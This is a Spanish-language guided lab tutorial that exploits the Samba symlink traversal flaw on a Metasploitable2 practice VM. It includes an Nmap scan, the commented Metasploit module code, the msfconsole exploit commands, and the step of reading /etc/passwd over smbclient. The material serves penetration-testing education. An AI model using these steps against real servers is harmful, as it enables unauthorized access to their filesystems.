Explotar la Vulnerabilidad de Samba en Metasploitable2 con Nmap

NmapBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderás cómo explotar una nueva vulnerabilidad de Samba en la máquina objetivo Metasploitable2. A lo largo del proceso, se te proporcionarán capturas de pantalla para cada paso. Al completar este laboratorio, adquirirás experiencia práctica en el uso de herramientas para explotar la vulnerabilidad de Samba.

Este curso es un tutorial experimental puramente práctico. Para ayudarte a comprender las operaciones en el experimento, se introducirá alguna teoría de seguridad informática y se te recomendarán los artículos más valiosos para que los leas mientras practicas.

Este es un Guided Lab, que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y obtener experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 100%. Ha recibido una tasa de reseñas positivas del 96% por parte de los estudiantes.

Iniciar el entorno de experimentación

En este paso, iniciarás la máquina de ataque (contenedor de Kali Linux) y la máquina objetivo (máquina virtual Metasploitable2) para el experimento.

  1. Abre una terminal xfce en la máquina host de LabEx e inicia la máquina objetivo Metasploitable2 ejecutando el siguiente comando:
sudo virsh start Metasploitable2

Espera a que la máquina objetivo se inicie, puede tardar de 1 a 3 minutos.

  1. Prueba la conectividad a la máquina objetivo mediante un ping:
ping 192.168.122.102

Presiona Ctrl+C para detener el ping.

  1. Inicia el contenedor de Kali Linux y entra al entorno bash ejecutando:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro del contenedor de Kali, prueba la conexión de red a la máquina objetivo:
ping 192.168.122.102

Presiona Ctrl+C para detener el ping.

Ahora tanto la máquina de ataque como la máquina objetivo están en funcionamiento, y puedes comenzar la prueba de penetración.

Nota: Si sales accidentalmente del bash actual, el contenedor de Kali se detendrá automáticamente. Puedes ejecutar docker run -ti --network host b5b709a49cd5 bash nuevamente en el host para iniciar un nuevo contenedor de Kali y entrar al bash para continuar el experimento.

Escanear el host objetivo en busca de vulnerabilidades

En este paso, utilizarás Nmap para escanear el host objetivo en busca de vulnerabilidades.

Primero, inicia sesión en la terminal de MSF en el entorno de Kali de LabEx:

cd ~
service postgresql start
msfdb init
msfconsole

Recopilar información sobre el host objetivo es el primer paso en una prueba de penetración. Utiliza Nmap para escanear el host objetivo en busca de vulnerabilidades y guarda los resultados del escaneo en el archivo /tmp/report.txt ingresando el siguiente comando:

nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Los parámetros utilizados aquí tienen los siguientes significados:

Parámetro Descripción
-p Especifica el rango de puertos a escanear
-T4 Establece la política de temporización para el escaneo de Nmap, con valores de 0 a 5 (más alto es más rápido)
-A Habilita la detección del sistema operativo y la detección de versiones
-v Muestra información detallada durante el proceso de escaneo
>/tmp/report.txt Redirige la salida a un archivo para su posterior análisis

Este proceso puede tardar un tiempo porque se está escaneando un amplio rango de puertos para recopilar información exhaustiva. Por favor, sé paciente y espera de uno a dos minutos.

Después de que se complete el escaneo, presiona Ctrl+D y utiliza el comando cat para ver el contenido del archivo en la terminal de Kali de LabEx:

cat /tmp/report.txt

Deberías ver información similar a la siguiente en el texto:

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

Esto indica que los puertos 139 y 445 están ejecutando el servicio Samba.

Analizar la vulnerabilidad de Samba

En este paso, aprenderás sobre la vulnerabilidad de Samba y analizarás el código central del módulo de explotación.

Samba es un software libre que permite a sistemas operativos similares a UNIX conectarse con el protocolo de red SMB/CIFS (Server Message Block/Common Internet File System) utilizado por Microsoft Windows. La versión 3 no solo permite el acceso y el uso compartido de carpetas y impresoras SMB, sino que también puede integrarse en un dominio de Windows Server como controlador de dominio o unirse a un Active Directory como miembro. En términos más simples, este software cierra la brecha entre Windows y sistemas operativos similares a UNIX, permitiendo el intercambio de recursos entre ambos.

Samba tiene una amplia gama de aplicaciones, y por lo tanto, las vulnerabilidades en Samba pueden tener un impacto significativo. Samba puede crear recursos compartidos de red para directorios Unix seleccionados (incluidos todos los subdirectorios). Esta función permite a los usuarios de Windows acceder a estos directorios Unix a través de la red, al igual que acceden a las carpetas normales de Windows.

El índice de vulnerabilidad utilizado en este experimento es:

OSVDB-62145

El índice del código fuente del módulo de Samba utilizado en este experimento es:

symlink_traversal.rb

Veamos la explicación del código central:

  ## Module initialization information, including author information and module introduction
  def initialize
    super(
      'Name'        => 'Samba Symlink Directory Traversal',
      'Description' => %Q{
        This module exploits a directory traversal flaw in the Samba
      CIFS server. To exploit this flaw, a writeable share must be specified.
      The newly created directory will link to the root filesystem.
      },
      'Author'      =>
        [
          'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
          'hdm'    ## metasploit module
        ],
      'References'  =>
        [
          ['OSVDB', '62145'],
          ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
        ],
      'License'     => MSF_LICENSE
    )

    ## Register option information
    register_options([
      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
    ], self.class)

  end


  ## Main execution function
  def run

    ## Function to connect to the server
    print_status("Connecting to the server...")
    connect()
    smb_login()

    ## Connect to the target host
    print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
    self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

    ## Attempt to enter the root filesystem
    print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
    self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

    ## Print success message after successful entry
    print_status("Now access the following share to browse the root filesystem:")
    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
    print_line("")
  end

end

Después de explicar el código central del módulo, realicemos la explotación real en la terminal de MSF ingresando los siguientes comandos:

search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options

Establece el host objetivo:

set RHOST 192.168.122.102

Selecciona el directorio compartido:

set SMBSHARE tmp

Nota: Como recordatorio, el impacto de esta vulnerabilidad de Samba es que permite la creación de recursos compartidos de red para directorios Unix seleccionados (incluidos todos los subdirectorios).

Después de establecer todos los parámetros necesarios, puedes proceder a explotar la vulnerabilidad:

exploit

Si tiene éxito, deberías ver el siguiente mensaje:

[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:

Después de una explotación exitosa, sal con el comando exit y prueba si puedes conectarte usando smbclient en la terminal. Se te pedirá una contraseña, pero puedes presionar Enter sin ingresar ninguna contraseña:

exit
smbclient //192.168.122.102/tmp

Una vez conectado, puedes verificar el acceso al sistema de archivos raíz ejecutando el siguiente comando:

more rootfs/etc/passwd

Deberías ver una salida similar a:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]

Esto confirma que has explotado con éxito la vulnerabilidad y has obtenido acceso al host objetivo a través del recurso compartido de red creado.

Presiona Ctrl+D para salir de la consola de Metasploit y luego inicia la inspección

Resumen

En este laboratorio, aprendiste sobre la vulnerabilidad de Samba en Metasploitable2 y se te guió a través del proceso de explotar esta vulnerabilidad en la máquina objetivo utilizando los pasos originales. Luego, utilizaste el recurso compartido de red creado para iniciar sesión en el host objetivo comprometido. Los puntos clave cubiertos en este laboratorio incluyen:

  • Comandos básicos de Linux
  • Escaneo de vulnerabilidades con Nmap
  • Análisis de la vulnerabilidad de Samba detectada
  • Explicación del código central del módulo symlink_traversal
  • Inicio de sesión en el host objetivo utilizando el recurso compartido de archivos de red

Se recomienda que practiques estos pasos repetidamente para fortalecer tu comprensión del proceso de prueba de penetración. La sección de lecturas recomendadas proporciona recursos adicionales para que profundices en tu conocimiento de las vulnerabilidades de Samba.